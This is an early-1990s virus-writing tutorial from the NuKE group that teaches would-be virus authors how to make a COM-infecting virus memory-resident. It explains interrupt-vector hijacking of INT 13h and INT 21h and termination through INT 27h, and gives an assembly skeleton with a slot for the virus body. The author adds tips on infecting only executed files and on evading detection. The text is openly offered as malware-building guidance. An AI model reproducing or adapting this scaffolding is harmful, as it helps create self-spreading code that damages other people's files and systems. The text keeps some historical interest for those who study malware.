                        ***********************************
                        **       TSR COM infections      **
                        **                               **
                        **      By Rock Steady/NuKE      **
                        ***********************************

     There are several ways to constructed your viruses. Mainly you have those
 which are RAM-Resident or better known as a TSR program. And with great
 thought we have those which are not RAM-Resident.

     A TSR virus will load into memory and can infect all programs that are
 executed by the computer. Such like my AmiLiA virus which will infect all
 EXE and COM files that are ran. Anyhow a TSR virus can certainly spread a lot
 faster compared to a Non-Resident Virus. Because a NON-Resident Virus will
 only infect file each time it is ran. Though the NON-Resident will start
 off very slowly infecting the system files but after the virus is in the
 system after a number of weeks, it will certainly infect ALL files that are
 in the system. Where a TSR virus will USUALLY infect files that are executed.
 So that only files that are often executed will be infected. But The TSR
 virus can certainly infect A LOT more files than a Non-Resident JUST on the
 first Hour! It is out numbered 10 to 1. This is the advantage that all
 programmers enjoy and program TSR viruses. I will explain a SIMPLE method of
 making your program a TSR one. And it will be as flexible as you want so
 that NO ONE can stay you `Stole' this information off Rock Steady.

     Anyhow I will explain the simple Process of Intercepting ROM-Bios
 Interrupts and hooking your virus/Program to any Interrupt of your choice.
 This method that is being explained is also used ALL the Jerusalem Strains.
 And several of the Vacsina Strains. They total up to close to 100+ Viruses
 that use this simple way with the TSR Interrupt 27h. Anyhow just because I'm
 explaining this method your virus CANNOT be detected because of this TSR
 routines because there are routines I DEVELOPED ALONE and will soon to be
 release in one of my future virii. Anyhow there are an UNLIMITED amount of
 ways to make TSRs so that along as you Develop YOUR OWN routine it will NEVER
 get detected as a virus for all you Beginners. And how this routine can be
 used in several OTHER utilities not just viruses.

                             Beginning...
                             ~~~~~~~~~~~
     First we must Intercept an Interrupt, Lets say we want our virus to
 activate Every TIME the disk I/O is being used we would use INT 13h or
 INT 21h. The INT 13h will activate everytime ANY file is opened or Closed
 And the INT 21h will activity anytime any file is executed or any INT 21h
 functions Like a "DIR" in DOS. If you want you can even hooked your virus
 to INT 10h and it may activate when Graphics are displayed, or you can hook
 it to the interrupt involved with Printer Functions. Whatever seems to
 `EnLighten' you, since we live in a Distressed world, I won't even bother
 why we shouldn't hooked them up to just ANY interrupt.

     Anyhow, interrupts use a vector table at the bottom of memory (ROM) to
 find out what routine in the ROM Bios to call. So the address for Interrupt
 21h would be located at 0000:0084 and for Interrupt 13h it would be found at
 0000:004Ch. So we can change theses addresses in the vector table. What we
 do is we change the vector address to POINT to our virus. So everytime the
 Interrupt is called it goes to the vector table and the table tells it to
 call our Virus, rather than calling the ROM Bios. But what MUST do
 FIRST is save the ORIGINAL Interrupt routine and place that somewhere in
 memory. So that our virus will call the Original ROM Bios routine after
 executing itself.

     Lets say we hooked our Virus to the INT 13h, which controls all Disk
 Activities. So if our Computer users tries to read something from the disk
 the Computer will call the INT 13h bios Routines on How To do it. But
 instead of finding the INT 13h routines it calls our virus, and the Virus
 gets ran, which then our virus does what it has to do, and then runs the
 Original INT 13h Routine where-ever it was stored. So it simulates an INT
 call to the ROM bios routines.

 ;----------------------------------------------------------------
 ; Sample Program on how to Hook your virus to an Interrupt call.
 ;----------------------------------------------------------------
 Code        Segment
         Assume  cs:code,ss:code,ds:code,es:code
         Org     100h       ; Guess this will be a COM file? Huh?


 Begin:  JMP     Bios_Routine

         NOP                  ; This is just a cheap .COM file that the
         NOP                  ; virus is attached to. Remember you should
         NOP                  ; have the first 3 bytes written in your
         INT     20h          ; virus.

 OLD_ROM_INT     DD      ?    ;Our Stack to save the OLD Int Address

 ;----------------------------------------------------------------
 ; This Calls the VIRUS and then the simulates the OLD Rom Routine
 ;----------------------------------------------------------------
 Virus_Codes    PROC     FAR
        Assume  cs:code, ds:nothing

        pushf               ; Everytime the ROM-Routine is call this
        push    ax          ; is what happens... Saves the Regesters
        push    di          ; And runs Our Virus... Then it restores
        push    si          ; the regesters and Runs the OLD_ROM Bios
        push    es          ; Routine that was supposed to be ran in
        push    ds          ; the first place...
        call    The_Virus
        pop     ds          ;NoTe: It's better to SAVE all Regesters and
        pop     es          ; Flags because our Virus WILL ALTER a few
        pop     si          ; And when the Virus leaves control back to the
        pop     di          ; Computer it is EXPECTED to continue where it
        pop     ax          ; It left off...
        popf

        pushf            ; This `pushf' is NEEDED to act like a simulated
        call    OLD_ROM_INT       ; ROM Bios Interrupt call...

        ret
 Virus_Codes   ENDP

 ;----------------------------------------------------------------
 ; Put the REAL Virus Codes here...
 ;----------------------------------------------------------------
 The_Virus        PROC    NEAR
        ...            ; Put your OWN Virus codes here...
        ...            ; Just make it compatible with our
        ...            ; Codes... Try to make it small and
        ...            ; it will take up less space in the
        ...            ; users' memory.
        ...
        ...            ;NoTe: Try to infect files that are ONLY
        ...            ; Executed! Rather than each time the INT
        ...            ; is used... Get it?
        RET
 The_Virus      ENDP

 ;---------------------------------------------------------------
 ; This is the Procedure that SAVE the OLD_ROM Bios in our Virus
 ; And places a Call to point to our Virus. Which then Calls the
 ; OLD_ROM Bios Routine. So Remember to SAVE it first.
 ;---------------------------------------------------------------
 Bios_Routine   PROC    NEAR
        Assume  cs:code,ds:code

        mov     ah,35h      ; This Asks for the interrupt vector!
        mov     al,13h      ; whatever is in AL is what int vector
        int     21h         ; address you get and is stored in ES:BX

        mov     word ptr OLD_ROM_INT,bx   ;Save the BX register in our Stack
        mov     word ptr OLD_ROM_INT[2],es ;And same to the ES Register

 ; Here you SHOULD put a small routine to check if the Interrupt vector has
 ; already been changed! For INT 13h this should contain 0000:004Ch the
 ; formula for this is (Interrupt # times 4) For INT 21h it is (21hx4)=84h
 ; and so on. So if its been changed it means the virus has already changed
 ; it! And it `Should' be resident. How ever this is a simple way of doing
 ; it. but not always the BEST way... Because any program the hooks to the
 ; virus interrupt will fool the virus to think it is already resident.
 ; Though this source is NOT for the Professional Virus Programmer like myself
 ; because WE KNOW! But for those that are half way there...

        mov     ah,25h    ; This asks to set a Interrupt vector address!
        mov     al,13h    ; Interrupt # to be set goes in AL
        mov     dx,offset Virus_Codes ; Sets INT 13h to point to `Virus Code'
        int     21h

        mov     dx,offset Bios_Routine
        int     27h
 Bios_Routine     ENDP

 ;  Anything after this point will not be memory resident. because the end
 ;  of the resident portion ends at `Bios_Routine' procedure.

 Code        ENDS
      END    Begin
 ;----------------------------- EnD ----------------------------------

 Simple isn't it? Anyhow I tried to make this as simple as possible. I
 hope I didn't lose you. Anyhow this is a simple routine that several
 TSR virii use. Anyhow, see what that gives you....

                           Rock Steady
               NukE / Viral Development Researcher
                             -PeAcE-                    
